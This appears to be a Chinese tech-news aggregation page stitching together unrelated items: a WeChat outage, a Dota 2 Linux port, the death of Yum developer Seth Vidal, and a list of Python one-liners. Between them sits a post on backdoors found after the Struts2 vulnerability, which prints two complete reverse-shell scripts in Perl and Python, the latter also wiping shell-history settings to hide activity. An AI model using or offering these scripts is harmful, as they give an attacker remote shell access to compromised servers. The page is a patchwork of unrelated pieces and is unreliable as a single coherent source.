微信今晨出现大规模宕机

根据大量用户反馈,微信今日早间起出现登录故障,客户端一直无法连接到服务器,导致无法正常使用。

在登录微信时,系统会提示登录失败,“连接失败,请检查你的网络设置。”不过,截至发稿时,微信已开始陆续恢复服务。

目前,腾讯官方尚未就此做出解释回应。

近期,微信多次出现相关故障,6月就曾多次出现登录、公众平台、连接服务器等方面的问题。微信5.0即将发布,不知这些问题是否与此相关。

Struts2 漏洞出现后,发现的一些后门脚本

1.linux 上的后门脚本 1)perl写的

use strict; 
use Socket; 
use IO::Handle; 
if($#ARGV+1 != 2){ 
print "$#ARGV $0 Remote_IP Remote_Port \n"; 
exit 1; 
} 
my $remote_ip = $ARGV[0]; 
my $remote_port = $ARGV[1]; 
my $proto = getprotobyname("tcp"); 
my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip)); 
my $shell = '/bin/bash -i'; 
socket(SOCK, AF_INET, SOCK_STREAM, $proto); 
STDOUT->autoflush(1); 
SOCK->autoflush(1); 
connect(SOCK,$pack_addr) or die "can not connect:$!"; 
open STDIN, "<&SOCK"; 
open STDOUT, ">&SOCK"; 
open STDERR, ">&SOCK"; 
print "Enjoy the shell.\n"; 
system($shell); 
close SOCK; 
exit 0;

2)python 写的

# -*- coding:utf-8 -*- 
#!/usr/bin/env python 
""" 
back connect py version,only linux have pty module 
code by google security team 
""" 
import sys,os,socket,pty 
shell = "/bin/sh" 
def usage(name): 
print 'python reverse connector' 
print 'usage: %s <ip_addr> <port>' % name 

def main(): 
if len(sys.argv) !=3: 
usage(sys.argv[0]) 
sys.exit() 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
try: 
s.connect((sys.argv[1],int(sys.argv[2]))) 
print 'connect ok' 
except: 
print 'connect faild' 
sys.exit() 
os.dup2(s.fileno(),0) 
os.dup2(s.fileno(),1) 
os.dup2(s.fileno(),2) 
global shell 
os.unsetenv("HISTFILE") 
os.unsetenv("HISTFILESIZE") 
os.unsetenv("HISTSIZE") 
os.unsetenv("HISTORY") 
os.unsetenv("HISTSAVE") 
os.unsetenv("HISTZONE") 
os.unsetenv("HISTLOG") 
os.unsetenv("HISTCMD") 
os.putenv("HISTFILE",'/dev/null') 
os.putenv("HISTSIZE",'0') 
os.putenv("HISTFILESIZE",'0') 
pty.spawn(shell) 
s.close() 

if __name__ == '__main__': 
main()

《Dota2》将支持Linux/Mac

《Dota2》是由美国Valve公司开发的DotA类竞技游戏,从开发到上市经历了一个非常漫长的过程。目前《Dota2》仅有Windows版本,并不支持Linux和Mac OS。

和前些年不同的是近几年来使用Mac OS和Winodws平台玩游戏的用户越来越多,因此开发《Dota2》的Linux和Mac版早已被Valve提上日程。好消息是《Dota2》开发社区中目前已经开放了Linux和Mac板块,这标志着支持这两个操作系统的版本已经箭在弦上了。

Valve官方发表声明称目前支持Linux的《Dota2》已经在测试中了,参与测试的用户可以在官方开发者社区中反馈自己遇到的问题。

Linux版《Dota 2》最低配置要求如下:

操作系统:Ubuntu 12.04

处理器:AMD/Intel双核2.8GHz

内存:4GB

硬盘空间:4GB剩余

显卡:NVIDIA GeForce 8600/9600GT;AMD Radeon HD 2600/3600

驱动程序:NVIDIA 310.xx;AMD催化剂12.11

声卡:兼容OpenAL

Yum包管理器主程序员被撞身亡,肇事者自首

本周一晚上,Yum包管理器主程序员Seth Vidal在美国北卡杜尔汉姆的一条公路上骑自行车时被汽车从背后撞倒,送往杜克大学医学院后不治身亡。肇事者当场逃走,但在周二下午向警方自首。36岁的Vidal为Red Hat工作,是Yum的主要开发者,对CentOS和Fedora Extras都有贡献,爱好骑车。肇事者是27岁的Maceo Christopher Kemp Jr.,他的驾照之前已被吊销。Fedora项目发表声明,称赞他是一位“出色的演说家,才华横溢的思想家,机智聪明,谦逊而有趣”,失去他是一个重大损失。

sethV

一些精简的 python code

  1. Multiple Each Item in a List by 2 print map(lambda x: x * 2, range(1,11))

    1. Sum a List of Numbers print sum(range(1,1001))
    2. Verify if Exists in a String wordlist = ["scala", "akka", "play framework", "sbt", "typesafe"] tweet = "This is an example tweet talking about scala and sbt." print map(lambda x: x in tweet.split(),wordlist)
    3. Read in a File print open("tenoneliners.py").readlines()
    4. Happy Birthday to You! print map(lambda x: "Happy Birthday to " + ("you" if x != 2 else "dear Name"),range(4))
    5. Filter list of numbers print reduce(lambda(a,b),c: (a+[c],b) if c > 60 else (a,b + [c]), [49, 58, 76, 82, 88, 90],([],[])
    6. Fetch and Parse an XML web service from xml.dom.minidom import parse, parseString import urllib2 # note - i convert it back into xml to pretty print it print parse(urllib2.urlopen("http://search.twitter.com/search.atom?&q=python")).toprettyxml(encoding="utf-8")
    7. Find minimum (or maximum) in a List print min([14, 35, -7, 46, 98]) print max([14, 35, -7, 46, 98])
    8. Parallel Processing import multiprocessing import math print list(multiprocessing.Pool(processes=4).map(math.exp,range(1,11)))
    9. Sieve of Eratosthenes There is no Sieve of Eratosthenes operator, but that is hardly a constraint. n = 50 # We want to find prime numbers between 2 and 50 print sorted(set(range(2,n+1)).difference(set((p * f) for p in range(2,int(n0.5) + 2) for f in range(2,(n/p)+1)))) 11 Want to know many bytes a terabyte is? If you know further abbreviations, you can extend the list import pprint;pprint.pprint(zip(('Byte', 'KByte', 'MByte', 'GByte', 'TByte'), (1 << 10i for i in xrange(5)))) 12 what's the largest number that can be represented by 8 Byte? print '\n'.join("%i Byte = %i Bit = largest number: %i" % (j, j8, 256j-1) for j in (1 << i for i in xrange(8)))

    13 Function that returns the set of all subsets of its argument f = lambda x: [[y for j, y in enumerate(set(x)) if (i >> j) & 1] for i in range(2**len(set(x)))]

    f([10,9,1,10,9,1,1,1,10,9,7]) [[], [9], [10], [9, 10], [7], [9, 7], [10, 7], [9, 10, 7], [1], [9, 1], [10, 1], [9, 10, 1], [7, 1], [9, 7, 1], [10, 7, 1], [9, 10, 7, 1]] -RJW 14 Alternately (shorter, more functional version): f = lambda l: reduce(lambda z, x: z + [y + [x] for y in z], l, [[]]) 15 Decode a base64 encoded file import base64, sys; base64.decode(open(sys.argv[1], "rb"), open(sys.argv[2], "wb"))

    16 Editing a list of files in place I came up with this one-liner in response to an article that said it couldn't be done as an one-liner in Python. What this does is replace the substring "at" by "op" on all lines of all files (in place) under the path specified (here, the current path). Caution: Don't run this on your home directory or you're going to get all your text files edited. Toggle line numbers import sys,os,re,fileinput;a=[i[2] for i in os.walk('.') if i[2]] [0];[sys.stdout.write(re.sub('at','op',j)) for j in fileinput.input(a,inplace=1)] Clearer is: import os.path; a=[f for f in os.listdir('.') if not os.path.isdir(f)] 17 Reimplementing cut Print every line from an input file but remove the first two fields. python -c "import sys;[sys.stdout.write(' '.join(line.split(' ')[2:])) for line in sys.stdin]" < input.txt

    18 echo unicode character: python -c "print unichr(234)" This script echos "ê"

    19 Apply regular expression to lines from stdin [another command] | python -c "import sys,re;[sys.stdout.write(re.sub('PATTERN', 'SUBSTITUTION', line)) for line in sys.stdin]"

    20 Modify lines from stdin using map python -c "import sys; tmp = lambda x: sys.stdout.write(x.split()[0]+'\t'+str(int(x.split()[1])+1)+'\n'); map(tmp, sys.stdin);"

    21 Display List of all users on Unix-like systems print '\n'.join(line.split(":",1)[0] for line in open("/etc/passwd"))

    22 CSV file to json python -c "import csv,json;print json.dumps(list(csv.reader(open('csv_file.csv'))))"

    23 Compress CSS file python -c 'import re,sys;print re.sub("\s([{};,:])\s", "\1", re.sub("/*.?\/", "", re.sub("\s+", " ", sys.stdin.read())))'

    24 Decode string written in Hex python -c "print ''.join(chr(int(''.join(i), 16)) for i in zip([iter('474e552773204e6f7420556e6978')]2))"

    25 Retrieve content text from HTTP data python -c "import sys; print sys.stdin.read().replace('\r','').split('\n\n',2)[1]";

    26 Prints file extension print '~/python/one-liners.py'.split('.')[-1]

    27 Escapes content from stdin This can be used to convert a string into a "url safe" string python -c "import urllib, sys ; print urllib.quote_plus(sys.stdin.read())";

    28 Reverse lines in stdin python -c "import sys; print '\n'.join(reversed(sys.stdin.read().split('\n')))"

    29 Print top 10 lines of stdin python -c "import sys; sys.stdout.write(''.join(sys.stdin.readlines()[:10]))" < /path/to/your/file

    30 Sony's Open Source command line tool for performing python one liners using unix-like pipes They call it "The Pyed Piper" or pyp. It's pretty similar to the -c way of executing python, but it imports common modules and has it's own preset variable that help with splitting/joining, line counter, etc. You use pipes to pass information forward instead of nested parentheses, and then use your normal python string and list methods. Here is an example from the homepage: Here, we take a linux long listing, capture every other of the 5th through the 10th lines, keep username and file name fields, replace "hello" with "goodbye", capitalize the first letter of every word, and then add the text "is splendid" to the end: ls -l | pyp "pp[5:11:2] | whitespace[2], w[-1] | p.replace('hello','goodbye') | p.title(),'is splendid'" and the explanation: This uses pyp's built-in string and list variables (p and pp), as well as the variable whitespace and it's shortcut w, which both represent a list based on splitting each line on whitespace (whitespace = w = p.split()). The other functions and selection techniques are all standard python. Notice the pipes ("|") are inside the pyp command.